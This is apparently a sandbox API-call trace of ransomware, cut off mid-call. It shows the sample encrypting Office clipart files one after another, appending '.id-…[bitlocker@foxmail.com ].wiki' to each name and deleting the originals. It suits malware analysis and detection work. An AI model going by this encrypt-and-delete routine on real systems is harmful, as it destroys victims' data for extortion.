[0194.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.135] lstrlenW (lpString=".1cd") returned 4 [0194.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.135] lstrlenW (lpString=".jpg") returned 4 [0194.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.135] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.135] lstrlenW (lpString="J0105530.WMF") returned 12 [0194.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.135] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7384) returned 1 [0194.136] CloseHandle (hObject=0x1cc) returned 1 [0194.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 0x20 [0194.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.136] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.136] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.136] GetLastError () returned 0x0 [0194.136] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0194.140] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0194.141] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.141] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.141] SetEndOfFile (hFile=0x1dc) returned 1 [0194.141] CloseHandle (hObject=0x1dc) returned 1 [0194.141] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.141] SetEndOfFile (hFile=0x1cc) returned 1 [0194.142] CloseHandle (hObject=0x1cc) returned 1 [0194.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0194.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.143] lstrlenW (lpString=".doc") returned 4 [0194.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.143] lstrlenW (lpString=".docx") returned 5 [0194.143] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.143] lstrlenW (lpString=".pdf") returned 4 [0194.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.143] lstrlenW (lpString=".xls") returned 4 [0194.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.143] lstrlenW (lpString=".xlsx") returned 5 [0194.143] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.143] lstrlenW (lpString=".ppt") returned 4 [0194.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.143] lstrlenW (lpString=".zip") returned 4 [0194.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.143] lstrlenW (lpString=".rar") returned 4 [0194.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.143] lstrlenW (lpString=".bz2") returned 4 [0194.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.143] lstrlenW (lpString=".7z") returned 3 [0194.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.143] lstrlenW (lpString=".dbf") returned 4 [0194.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.143] lstrlenW (lpString=".1cd") returned 4 [0194.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.143] lstrlenW (lpString=".jpg") returned 4 [0194.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.144] lstrlenW (lpString=".doc") returned 4 [0194.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.144] lstrlenW (lpString=".docx") returned 5 [0194.144] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.144] lstrlenW (lpString=".pdf") returned 4 [0194.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.144] lstrlenW (lpString=".xls") returned 4 [0194.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.144] lstrlenW (lpString=".xlsx") returned 5 [0194.144] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.144] lstrlenW (lpString=".ppt") returned 4 [0194.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.144] lstrlenW (lpString=".zip") returned 4 [0194.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.144] lstrlenW (lpString=".rar") returned 4 [0194.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.144] lstrlenW (lpString=".bz2") returned 4 [0194.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.144] lstrlenW (lpString=".7z") returned 3 [0194.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.144] lstrlenW (lpString=".dbf") returned 4 [0194.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.144] lstrlenW (lpString=".1cd") returned 4 [0194.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0194.144] lstrlenW (lpString=".jpg") returned 4 [0194.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.145] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.145] lstrlenW (lpString="J0105588.WMF") returned 12 [0194.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.145] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=21548) returned 1 [0194.145] CloseHandle (hObject=0x1cc) returned 1 [0194.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 0x20 [0194.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.145] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.146] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.146] GetLastError () returned 0x0 [0194.146] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x542c, lpOverlapped=0x0) returned 1 [0194.148] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x5430, lpOverlapped=0x0) returned 1 [0194.149] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.149] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.150] SetEndOfFile (hFile=0x1dc) returned 1 [0194.150] CloseHandle (hObject=0x1dc) returned 1 [0194.150] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.150] SetEndOfFile (hFile=0x1cc) returned 1 [0194.458] CloseHandle (hObject=0x1cc) returned 1 [0194.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0194.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.475] lstrlenW (lpString=".doc") returned 4 [0194.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.476] lstrlenW (lpString=".docx") returned 5 [0194.476] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.476] lstrlenW (lpString=".pdf") returned 4 [0194.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.484] lstrlenW (lpString=".xls") returned 4 [0194.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.484] lstrlenW (lpString=".xlsx") returned 5 [0194.484] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.484] lstrlenW (lpString=".ppt") returned 4 [0194.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.484] lstrlenW (lpString=".zip") returned 4 [0194.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.490] lstrlenW (lpString=".rar") returned 4 [0194.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString=".bz2") returned 4 [0194.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString=".7z") returned 3 [0194.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.490] lstrlenW (lpString=".dbf") returned 4 [0194.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.490] lstrlenW (lpString=".1cd") returned 4 [0194.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.490] lstrlenW (lpString=".jpg") returned 4 [0194.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.490] lstrlenW (lpString=".doc") returned 4 [0194.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString=".docx") returned 5 [0194.490] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.490] lstrlenW (lpString=".pdf") returned 4 [0194.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.490] lstrlenW (lpString=".xls") returned 4 [0194.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.490] lstrlenW (lpString=".xlsx") returned 5 [0194.490] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.490] lstrlenW (lpString=".ppt") returned 4 [0194.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.491] lstrlenW (lpString=".zip") returned 4 [0194.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.491] lstrlenW (lpString=".rar") returned 4 [0194.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.491] lstrlenW (lpString=".bz2") returned 4 [0194.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.491] lstrlenW (lpString=".7z") returned 3 [0194.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.491] lstrlenW (lpString=".dbf") returned 4 [0194.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.491] lstrlenW (lpString=".1cd") returned 4 [0194.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0194.491] lstrlenW (lpString=".jpg") returned 4 [0194.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.491] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.491] lstrlenW (lpString="J0106958.WMF") returned 12 [0194.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.492] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=13784) returned 1 [0194.492] CloseHandle (hObject=0x200) returned 1 [0194.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 0x20 [0194.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.492] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.492] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.493] GetLastError () returned 0x0 [0194.493] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x35d8, lpOverlapped=0x0) returned 1 [0194.494] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x35e0, lpOverlapped=0x0) returned 1 [0194.495] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.495] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.496] SetEndOfFile (hFile=0x1cc) returned 1 [0194.496] CloseHandle (hObject=0x1cc) returned 1 [0194.496] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.496] SetEndOfFile (hFile=0x200) returned 1 [0194.497] CloseHandle (hObject=0x200) returned 1 [0194.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0194.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.497] lstrlenW (lpString=".doc") returned 4 [0194.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.497] lstrlenW (lpString=".docx") returned 5 [0194.497] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.497] lstrlenW (lpString=".pdf") returned 4 [0194.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.497] lstrlenW (lpString=".xls") returned 4 [0194.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.497] lstrlenW (lpString=".xlsx") returned 5 [0194.497] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.497] lstrlenW (lpString=".ppt") returned 4 [0194.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.497] lstrlenW (lpString=".zip") returned 4 [0194.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.497] lstrlenW (lpString=".rar") returned 4 [0194.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.498] lstrlenW (lpString=".bz2") returned 4 [0194.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.498] lstrlenW (lpString=".7z") returned 3 [0194.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.498] lstrlenW (lpString=".dbf") returned 4 [0194.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.498] lstrlenW (lpString=".1cd") returned 4 [0194.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.498] lstrlenW (lpString=".jpg") returned 4 [0194.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.498] lstrlenW (lpString=".doc") returned 4 [0194.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.498] lstrlenW (lpString=".docx") returned 5 [0194.498] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.498] lstrlenW (lpString=".pdf") returned 4 [0194.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.498] lstrlenW (lpString=".xls") returned 4 [0194.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.498] lstrlenW (lpString=".xlsx") returned 5 [0194.498] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.498] lstrlenW (lpString=".ppt") returned 4 [0194.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.498] lstrlenW (lpString=".zip") returned 4 [0194.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.499] lstrlenW (lpString=".rar") returned 4 [0194.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.499] lstrlenW (lpString=".bz2") returned 4 [0194.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.499] lstrlenW (lpString=".7z") returned 3 [0194.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.499] lstrlenW (lpString=".dbf") returned 4 [0194.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.499] lstrlenW (lpString=".1cd") returned 4 [0194.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0194.499] lstrlenW (lpString=".jpg") returned 4 [0194.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.499] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.499] lstrlenW (lpString="J0107024.WMF") returned 12 [0194.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, 